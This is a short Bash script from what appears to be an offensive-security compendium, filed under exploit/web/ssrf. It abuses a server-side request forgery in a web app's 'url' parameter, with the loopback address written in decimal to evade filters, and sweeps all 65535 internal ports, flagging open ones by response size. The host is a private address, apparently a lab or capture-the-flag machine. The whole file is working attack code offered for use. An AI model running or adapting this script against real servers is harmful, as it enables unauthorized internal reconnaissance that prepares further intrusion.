killchain-compendium/exploit/web/ssrf/curl.sh

9 lines
237 B
Bash
Raw Normal View History

2021-08-23 01:13:54 +02:00
#!/usr/bin/env bash
for x in {1..65535};
do cmd=$(curl -so /dev/null http://10.10.214.67:8000/attack?url=http://2130706433:${x} \
-w '%{size_download}');
if [ $cmd != 1045 ]; then
echo "Open port: $x"
fi
done